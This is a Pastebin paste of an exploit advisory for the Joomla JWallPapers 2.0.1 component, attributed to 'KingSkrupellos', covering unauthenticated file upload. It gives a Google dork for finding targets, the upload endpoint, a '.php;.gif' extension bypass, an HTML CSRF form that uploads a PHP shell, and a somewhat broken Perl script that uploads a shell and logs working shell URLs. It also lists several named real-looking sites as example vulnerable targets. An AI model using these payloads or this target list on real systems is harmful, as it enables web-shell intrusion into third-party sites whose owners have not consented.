KingSkrupellos

Joomla JWallPapers Components 2.0.1 CSRF Shell Upload

Feb 18th, 2019
58
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.91 KB | None | 0 0
  1. ####################################################################
  2.  
  3. # Exploit Title : Joomla JWallPapers Components 2.0.1 CSRF Shell Upload
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 18/02/2019
  7. # Vendor Homepage : joomla4ever.org
  8. # Software Download Link : joomla4ever.org/archive/ext/com_jwallpapers.zip
  9. # Software Information Link : joomla4ever.org/extensions/ext-jwallpapers
  10. # Software Affected Version : 1.1 - 1.3 - 1.4 - 1.6 and 2.0.1 ~ and all previous versions
  11. # Tested On : Windows and Linux
  12. # Category : WebApps
  13. # Exploit Risk : Medium
  14. # Google Dorks : inurl:''/index.php?option=com_jwallpapers''
  15. # Vulnerability Type : CWE-434 [ Unrestricted Upload of File with Dangerous Type ]
  16. CWE-264 [ Permissions, Privileges, and Access Controls ]
  17. CWE-352 [ Cross-Site Request Forgery ]
  18. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  19. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  20. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  21.  
  22. ####################################################################
  23.  
  24. # Description about Software :
  25. ***************************
  26. JWallpapers - powerful and customizable gallery component for Joomla!
  27.  
  28. With component, you can create a pretty good service at the show, loading or
  29.  
  30. downloading of different graphic materials (wallpaper, screensaver for mob.
  31.  
  32. Phones, photos, etc.) is present in component integration
  33.  
  34. in Community Builder, support SEF components.
  35.  
  36. ####################################################################
  37.  
  38. # Impact :
  39. ***********
  40. This Software Joomla JWallPapers indicates an attack attempt to perform an
  41.  
  42. Arbitrary File Upload vulnerability in Joomla Jwallpapers Plugin/Component.
  43.  
  44. The vulnerability is due to a design flaw in the vulnerable application
  45.  
  46. when handling a file upload request without authentication.
  47.  
  48. A remote attacker may be able to exploit this to execute arbitrary code within
  49.  
  50. the context of the application, by uploading an arbitrary file without any authentication.
  51.  
  52. System Compromise: Remote attackers can gain control of vulnerable systems.
  53.  
  54. ####################################################################
  55.  
  56. # Arbitrary File Upload/Shell Upload Exploit :
  57. ***************************************
  58. /index.php?option=com_jwallpapers&task=upload
  59.  
  60. # Vulnerability Error :
  61. ********************
  62. {"jsonrpc" : "2.0", "result" : null, "id" : "id"}
  63.  
  64. # Directory File Path :
  65. *******************
  66. /jwallpapers_files/plupload/[SHELLNAME.php;.gif]
  67.  
  68. ####################################################################
  69.  
  70. # CSRF Cross Site Request Forgery Exploiter :
  71. *******************************************
  72.  
  73. <html>
  74. <body>
  75. <form method="post" action="http://VULNERABLESITE/index.php?option=com_jwallpapers&task=upload" enctype="multipart/form-data">
  76. <input type="file" name="file"/>
  77. <input type="hidden" name="name" value="shell_name.php" />
  78. <input type="submit" value="submit"/>
  79. </form>
  80. </body>
  81. </html>
  82.  
  83. ####################################################################
  84.  
  85. # Another Perl Exploiter Code :
  86. ***************************
  87. #!/usr/bin/perl
  88.  
  89. sub comjwallpapers(){
  90. $ua = LWP::UserAgent->new(keep_alive => 1);
  91. $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");
  92. $ua->timeout (30);
  93.  
  94. $url ="$http://VULNERABLESITE/index.php?option=com_jwallpapers&task=upload";
  95. $comjwallpapersup= "$site/jwallpapers_files/plupload/kingskrupellos.php?X=Attacker";
  96. my $shell ="kingskrupellos.php";
  97.  
  98. my $response = $ua->post( $url, Content_Type => "multipart/form-data", Content => [ file=>["$shell"] , submit=>"Upload" ]);
  99.  
  100. $check = $ua->get($comjwallpapersup)->content;
  101. if ($check =~ /Cyberizm Digital Security Army/){
  102. print item(),"Com Jwallpapers";
  103. print color('bold white')," ................... ";
  104. print color('bold green'),"VULN\n";
  105. print item(),"Shell Uploaded Successfully\n";
  106. print color('bold white')," [Link] => $comjwallpapersup\n";
  107. open (TEXT, '>>Result/shells.txt');
  108. print TEXT "$comjwallpapersup\n";
  109. close (TEXT);
  110. }else{
  111. print item(),"Com Jwallpapers";
  112. print color('bold white')," ................... ";
  113. print color('bold red'),"NOT VULN\n";
  114. }
  115. }
  116.  
  117. ####################################################################
  118.  
  119. # Example Vulnerable Sites :
  120. *************************
  121. [+] robinevandooren.nl/index.php?option=com_jwallpapers&task=upload
  122.  
  123. [+] safehousehabitats.com/intranet/index.php?option=com_jwallpapers&task=upload
  124.  
  125. [+] mustangis.com/index.php?option=com_jwallpapers&task=upload
  126.  
  127. [+] 1aphotoclub.com/index.php?option=com_jwallpapers&task=upload
  128.  
  129. [+] zuohe.net/index.php?option=com_jwallpapers&task=upload
  130.  
  131. [+] kulturgemeinde.at/index.php?option=com_jwallpapers&task=upload
  132.  
  133. ####################################################################
  134.  
  135. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  136.  
  137. ####################################################################
Add Comment
Please, Sign In to add comment